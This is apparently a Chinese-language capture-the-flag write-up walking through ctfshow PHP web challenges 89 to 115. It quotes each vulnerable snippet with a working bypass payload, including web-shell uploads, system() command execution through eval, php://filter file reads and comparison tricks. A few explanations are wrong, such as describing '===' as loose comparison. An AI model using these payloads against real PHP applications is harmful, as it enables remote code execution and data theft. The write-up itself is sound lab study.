Web 89
由题目可知:
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
数字被过滤了
preg_match在匹配数组的时候return false?直接跳出了第一个if
intval()将传入的字符串转为整数( 不关心数组中的内容,只判断数组中有没有元素
我们提交了一个数组?num[]=a
直接就绕过了
Web 90
由题目可知:
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
------------------------------------------------------------------
if($num==="4476"){
die("no no no!");
}num不能以字符串“4476“的形式存在
if(intval($num,0)===4476){
echo $flag;
}
但是num转为10进制后的整数要是4476
intval($num,0)表示要将num转为10进制整数
?num=0x117c
?num=0b1000101111100
Web 91
由题目可知:
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
preg_match('/^php$/im', $a):
im表示模式,可以匹配多行(所以我们考虑加入换行符%0a),^…$表示匹配的内容(匹配每一行的开头和结尾
preg_match('/^php$/i', $a):
^…$表示匹配的内容,表示单行匹配
?cmd=php%0aphp
?cmd=%0aphp
Web 92
由题目可知:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
看起来还是intval的使用
?num=0x117c
?num=0b1000101111100
提示:
Inval($var,$base)
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123
?num=4476e123
Web 93
由题目可知:
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");010
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
字母也被过滤了
提示:
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制 0??? : 八进制 0X?? : 16进制
?num=010574(八进制
Web 94
由题目可知:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos($num, "0")
strpos() 是 PHP 内置函数,其作用是查找一个字符串在另一个字符串中首次出现的位置。该函数会返回首次出现的位置的索引值(索引从 0 开始计数),若未找到则返回 false。
那本题目就是必须要出现0(开头不能为0
==="4476"
===是全等于运算符
只比较值是否相等,在比较过程中会进行类型转换。
?num=4476.0
Web 95
由题目可知:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
注意到一个点$num==4476
==在比较时,仅关注两个值是否相等,不考虑它们的数据类型,也就是所谓的 “松散比较”。若两个值在转换为相同类型后数值相等,就会判定为相等。
preg_match("/[a-z]|\./i", $num) 这里“.”也被过滤掉了
- ==:这是松散比较运算符,它只对两个值是否相等进行判断,不考虑它们的数据类型。也就是说,在比较前会先将两个值转换为相同类型,再比较数值是否一样。
- ===:属于严格比较运算符,它在判断时不仅要求两个值相等,还要求它们的数据类型也必须相同。
试了一下特殊符号:
?num=%0a010574
刚好就过了
?num=%2B010574(加号
?num=%20010574(空格
intval对于对+ " "开头的,会做一个删除处理或者将其当为正数
Web 96
由题目可知:
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
$_GET['u']=='flag.php',只要值不等于flag.php就都ok
?u=./flag.php
?u=/var/www/html/flag.php
?u=php://filter/read=string.rot13/resource=flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
Web 97
由题目可知:
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
传入对象的MD5值是相同的
md5绕过原理:md5对数组是不予加密的,但是这个函数是返回值类型的,没有返回对象,便是返回null(null是无对象的意思,可以理解为没有目标),所以两个都是null,可以绕过里面的比较,但是外面还有一个a!=b
传入两个值不相同的数组
a[]=1&b[]=2
Web 98
由题目可知:
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
flag和HTTP_FLAG在/var/www/html/index.php里面
$_GET?$_GET=&$_POST:'flag';
三元运算:当$_GET不为空的时候$_GET和$_POST指向同一个地址,$_POST会影响$_GET的值
当$_GET为空时,表达式的结果为‘flag’
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
如果flag的值等于'flag',那么$_GET和$_COOKIE指向同一个地址
否则返回'flag'
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
如果flag的值等于'flag',那么$_GET和$_SERVERE指向同一个地址
否则返回'flag'
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
如果HTTP_FLAG的值为‘flag’,输出$flag,否则输出当前文件
GET和POST同时传参HTTP_FLAG=flag
Web 99
由题目可知:
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
array_push:将元素添加到数组的末尾
rand(1,$i):生成一个1-i之间的数//每次循环都生成一个小于$i的数放在数组中,数字越小可能性越大
if(isset($_GET['n']) && in_array($_GET['n'], $allow):检查参数n是否在数组中
file_put_contents($_GET['n'], $_POST['content']):
file_put_contents:将字符串写入文字
这里用户通过POST请求将传递的参数content的内容写入以$_GET['n']命名的文件中
?n=1.php
content=<?php system($_POST[1]);?>
访问1.php
1=system('ls'); 发现1.php已经被写入,并且还有flag36d.php
访问flag36d.php
得到flag
Web 100
由题目可知:
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
- 赋值=运算的优先级大于逻辑运算,只需要v1为数字即可
- V2不能含有分号
- V3必须有分号
?v1=0&v2=var_dump($ctfshow)/*&v3==*/;
flag_is_e2eaa7c40x2dc8e40x2d4fc50x2db6740x2d17c99af10a41
0x2d是-
ctfshow{e2eaa7c4-c8e4-4fc50-b674-17c99af10a41}
Web 101
由题目可知:
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
?v1=1&v2=echo new Reflectionclass&v3=;
reflectionclass类可以获得类的反射对象(包含元数据信息
flag少一位,最后一位需要爆破
没弄懂爆破怎么抓包,0-g挨个试的
Web 102
由题目可知:
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
v1发POST
v2,v3发GET
v2必须是数字,v4才能成立
substr($v2,2),从v2的第三个字符开始截取
call_user_func($v1,$s),$s作为参数传给回调函数$v1的值
file_put_contents($v3,$str) 将$str中的内容写入到$v3指定的文件中
先从字符串 $v2 中截取部分内容,然后使用 call_user_func() 调用一个函数对截取的内容进行处理,接着输出处理后的结果,并将处理后的结果写入到指定的文件中。
官方的wp:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
5044383959474e6864434171594473是<?=`cat *`;先base64编码再转为16进制的,e可以作为科学计数法逃过过滤,v2依旧是数字,前面的11是因为v2的内容被截断了前两位
Web 103
由题目可知:
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
和102相比较多了一个对php的过滤
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问2.php后查看源代码获得flag
那个php字符串是针对v2的,所以对于这道题并没有什么影响
Web 104
由题目可知:
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
sha1($v1)==sha1($v2):
sha1(string $str):计算SHA-1的哈希值
我的理解基本上就是v1和v2的哈希值相同,那么就构造v1=v2?(在这里并没有要求v1v2的值不相等
?v1=1
v2=1
?v1=aaa
v2=aaa
上述两个都可以过
Web 105
由题目可知:
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
看大师傅的讲解,就是一个值覆盖的问题
最后打印error的值打印出来flag(注意这里的flag是从die($error)这里输出的
?suces=flag
error=suces
Web 106
由题目可知:
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
这次和104不一样了,限制了v1!=v2
大师傅在104的视频讲过可以输入绕过,且数组的值不相等
?v2[]=1
v1[]=2
Web 107
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str($v1,$v2);
parse_str($str,$arr); 将字符串解析为多个键值对,解析得到的变量存储在数组中
$v1被解析成多个键值对,存储在$v2数组中
?v3[]=1
v1[]=1(具体参考web97的md5绕过
?v3[]=1
v1=1
试了一下这个好像也能过
看了看其他师傅的文章,直接对v3的值进行md5编码再赋值给v1也是ok的
Web 108
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
(ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE):
ereg:正则判断,判断参数c中是否含有大小写字母,如果没有,返回FALSE
//c要是由字母组成的
ereg()存在2个漏洞:
- 当password为数组时返回的是null
- 当遇到%00是会被截断(截断漏洞)
strrev():将字符串反转
0x36d=877
反转就是778
利用ereg的截断漏洞,?c=a%00778
Web 109
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
v1v2都是字母组成
?v1=Exception&v2=system('ls')
?v1=Exception&v2=system('tac fl36dg.txt')
实在做不下去了,还是看看其他师傅的文章吧TAT,不懂原理抄了答案也没用
new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。
利用点: PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码。
魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。
构造特定的 v1 和 v2 参数,可以利用这一机制执行任意代码,payload:
?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
其中 v1 是一个可以转换为字符串的类,v2 是一个有效的函数名,可以执行并返回结果作为 v1 类的构造函数参数
Web 110
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。
payload:
?v1=FilesystemIterator&v2=getcwd
FilesystemIterator 是 PHP 中一个用于遍历文件系统目录的迭代器类,它继承自 DirectoryIterator 并实现了 SeekableIterator 接口。这个类提供了一种简单且灵活的方式来遍历目录中的文件和子目录
感觉My6n师傅讲解的特别详细了
getcwd读取当前目录下内容,所以直接访问fl36dga.txt就可以
Web 111
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
先看getFlag函数,将v1和v2的值对换,再对v1的值进行打印,还是一个变量赋值的问题
V1还必须含有ctfshow,我们首先尝试
?v1=ctfshow&v2=flag
显示NULL
根据My6n师傅的分析,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。
?v1=ctfshow&v2=GLOBALS
得到flag
Web 112
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
函数绕过
file不能是文件
(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file))
根据过滤的内容来猜大概率是filter,用伪协议绕过
?file=php://filter/resource=flag.php
Web 113
由题目可知:
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
还是函数绕过,emmm,filter也被过滤掉了
?file=compress.zlib://flag.php
compress.zlib
是php内置的一种流包装器。流包装器是php提供的一种抽象机制,允许类似文件操作的方式来访问各种不同的数据源,如本地文件、网络资源、压缩文件等。
如果代码没有对 $file 的值进行有效检查,攻击者通过传入 compress.zlib://flag.php 这样的参数,就可能读取到 flag.php 文件的内容,从而获取敏感信息。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
上面这个是官方给的payload
其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。
由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。
Web 114
由题目可知:
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
file=php://filter/resource=flag.php
Web 115
由题目可知:
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
str_replace()函数替换字符串中的字符(区分大小写
trim()函数一处字符串两侧的空白字符或其他与定义字符
要求在 filter 函数前 $num 不能为 36,但是执行 filter 函数后 $num 又要等于 36。
对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。
filter示弱比较,会先进行类型转换再进行比较
?num=%0c36